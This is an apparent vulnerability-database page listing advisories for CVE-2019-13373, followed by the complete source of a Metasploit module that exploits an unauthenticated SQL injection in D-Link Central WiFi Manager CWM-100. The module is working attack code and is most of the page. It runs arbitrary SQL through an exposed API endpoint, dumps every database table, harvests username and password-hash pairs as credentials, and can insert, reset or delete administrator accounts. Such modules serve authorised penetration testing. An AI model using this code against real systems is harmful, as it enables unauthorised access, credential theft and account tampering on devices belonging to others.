| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2019-13373 | 7 Jul 201901:59 | ā | circl | |
| D-Link Central WiFi Manager (CWM-100) Arbitrary SQL Command Query Vulnerability | 8 Jul 201900:00 | ā | cnvd | |
| D-Link Central WiFiManager CWM-100 SQL Injection (CVE-2019-13373) | 14 Nov 202200:00 | ā | checkpoint_advisories | |
| CVE-2019-13373 | 6 Jul 201922:54 | ā | cve | |
| CVE-2019-13373 | 6 Jul 201922:54 | ā | cvelist | |
| D-Link Central WiFiManager SQL injection | 15 Feb 202117:42 | ā | metasploit | |
| CVE-2019-13373 | 6 Jul 201923:15 | ā | nvd | |
| Input validation | 6 Jul 201923:15 | ā | prion | |
| Metasploit Wrap-Up | 19 Feb 202117:55 | ā | rapid7blog | |
| CVE-2019-13373 | 22 May 202508:04 | ā | redhatcve |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'csv'
require 'digest'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link Central WiFiManager SQL injection',
'Description' => %q{
This module exploits a SQLi vulnerability found in
D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6. The
vulnerability is an exposed API endpoint that allows the execution
of SQL queries without authentication, using this vulnerability, it's
possible to retrieve usernames and password hashes of registered users,
device configuration, and other data, it's also possible to add users,
or edit database information.
},
'License' => MSF_LICENSE,
'Author' => [
'M3@ZionLab from DBAppSecurity',
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'References' => [
['CVE', '2019-13373'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
],
'Actions' => [
[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],
[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],
[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]
],
'DefaultOptions' => { 'SSL' => true },
'DefaultAction' => 'SQLI_DUMP',
'DisclosureDate' => '2019-07-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
]
)
end
def vulnerable_request(payload)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
'vars_post' => {
'dbAction' => 'S',
'dbSQL' => payload
}
)
end
def check
check_error = nil
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
if res
check_error = Exploit::CheckCode::Safe
else
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
end
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
end
end
vulnerable_test = sqli.test_vulnerable
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
end
def dump_data(sqli)
print_good "DBMS version: #{sqli.version}"
table_names = sqli.enum_table_names
print_status 'Enumerating tables'
table_names.each do |table_name|
cols = sqli.enum_table_columns(table_name)
vprint_good "#{table_name}(#{cols.join(',')})"
# retrieve the data from the table
content = sqli.dump_table_fields(table_name, cols)
# store hashes as credentials
if table_name == 'usertable'
user_ind = cols.index('username')
pass_ind = cols.index('userpassword')
content.each do |entry|
create_credential(
{
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entry[user_ind],
private_data: entry[pass_ind],
jtr_format: 'raw-md5',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
)
print_good "Saved credentials for #{entry[user_ind]}"
end
end
path = store_loot(
'dlink.http',
'application/csv',
rhost,
cols.to_csv + content.map(&:to_csv).join,
"#{table_name}.csv"
)
print_good "#{table_name} saved to #{path}"
end
end
def check_admin_username
if datastore['USERNAME'].nil?
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
end
end
def add_user(sqli)
check_admin_username
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
# check if user exists, if yes, just change his password
if sqli.run_sql(user_exists_sql).to_i == 0
print_status 'User not found on the target, inserting'
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
else
print_status 'User already exists, updating the password'
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
"username='#{datastore['USERNAME']}'")
end
end
def remove_user(sqli)
check_admin_username
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems vulnerable'
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
end
end
case action.name
when 'SQLI_DUMP'
dump_data(sqli)
when 'ADD_ADMIN'
add_user(sqli)
when 'REMOVE_ADMIN'
remove_user(sqli)
else
fail_with(Failure::BadConfig, "#{action.name} not defined")
end
end
end
`
Data
Build on a solid foundation withĀ Vulners data
WeĀ provide theĀ essential building blocks forĀ cybersecurity solutions withĀ comprehensive, structured, andĀ constantly updated vulnerability andĀ exploits data
Api
Power your application withĀ Vulners API
The Vulners REST API offers reliable, high-performance access toĀ vulnerabilityĀ intelligence, withĀ 99.9%Ā SLAĀ uptime andĀ CDN-backed data delivery forĀ seamlessĀ global access
App
Assess and manage vulnerabilities withĀ VulnersĀ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation